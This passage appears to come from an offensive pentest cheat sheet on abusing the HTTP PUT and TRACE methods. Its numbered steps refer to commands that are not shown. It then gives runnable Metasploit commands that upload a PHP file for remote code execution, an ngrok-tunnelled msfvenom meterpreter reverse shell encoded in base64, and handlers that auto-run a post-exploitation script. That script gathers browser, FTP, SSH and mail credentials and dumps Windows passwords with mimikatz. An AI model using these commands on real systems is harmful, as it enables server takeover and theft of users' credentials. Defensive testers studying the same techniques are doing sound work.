We run the following command to identify the active methods on the target using the Curl tool
2
We can do this by using the Nmap tool to identify the active methods on the target
3
We can do this by using the Nmap tool to identify the active methods on the target. After executing the command, if the PUT method is active on the target, using the next command, we try to upload a php file to the target to get RCE
4
If our file is uploaded to the specified path using the PUT method, the site is vulnerable
XSS in Trace Method (Black Box)
1
first Check if the Server Supports TRACE Send a simple TRACE request to check if the server responds
2
If the server supports the Trace method, the next step is to inject JavaScript code
3
Modify the request by injecting an XSS payload inside the Via header If the server reflects this payload in its response without sanitization, it may be vulnerable to XSS
4
If a web application connected to this server processes and displays the reflected data inside an HTML page, the script may execute in a victim's browser
msfconsole -qx "
use auxiliary/scanner/http/options;
set RHOSTS $WEBSITE;
set RPORT 443;
set SSL true;
run -j"
msfconsole -qx "
use auxiliary/scanner/http/http_put;
set RHOSTS $WEBSITE;
set RPORT 443;
set SSL true;
set PATH /uploads;
run -j"
nohup ngrok tcp 4444 >/dev/null 2>&1 &
NGINFO=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels); \
NGHOST=$(echo "$NGINFO" | sed -nE 's/.*public_url":"tcp:\/\/([^"]*):.*/\1/p'); \
NGPORT=$(echo "$NGINFO" | sed -nE 's/.*public_url":"tcp:\/\/.*.tcp.*.ngrok.io:([^"]*).*/\1/p')
rm -rf /home/$USER/.msf4/loot/*
msfconsole -qx "
use auxiliary/gather/impersonate_ssl;
set RHOSTS google.com;
run;
exit"
cat > /tmp/post-exp.rc << EOF
getprivs
getsystem
run multi/gather/firefox_creds DECRYPT=true
run multi/gather/filezilla_client_cred
run multi/gather/ssh_creds
run multi/gather/thunderbird_creds
run multi/gather/wlan_geolocate
mimikatz
privilege::debug
sekurlsa::logonpasswords
lsadump::sam
bg
EOF
msfvenom -p php/meterpreter/reverse_tcp \
LHOST=$NGHOST \
PORT=$NGPORT \
EnableStageEncoding=true \
-f raw \
-e php/base64 -i 3 \
-o /tmp/unk9vvn.php
sed -i "s#eval#<?php eval#g" /tmp/unk9vvn.php
sed -i "s#));#)); ?>#g" /tmp/unk9vvn.php
msfconsole -qx "
use multi/handler;
set PAYLOAD php/meterpreter/reverse_tcp;
set LHOST $NGHOST;
set LPORT $NGPORT;
set ReverseListenerBindAddress 127.0.0.1;
set ReverseListenerBindPort 4444;
set StageEncoder true;
set AutoRunScript /tmp/post-exp.rc;
run -j"
msfconsole -qx "
use multi/handler;
set PAYLOAD windows/meterpreter/reverse_winhttps;
set LHOST $NGHOST;
set LPORT $NGPORT;
set ReverseListenerBindAddress 127.0.0.1;
set ReverseListenerBindPort 4444;
set StageEncoder true;
set AutoRunScript /tmp/post-exp.rc;
run -j"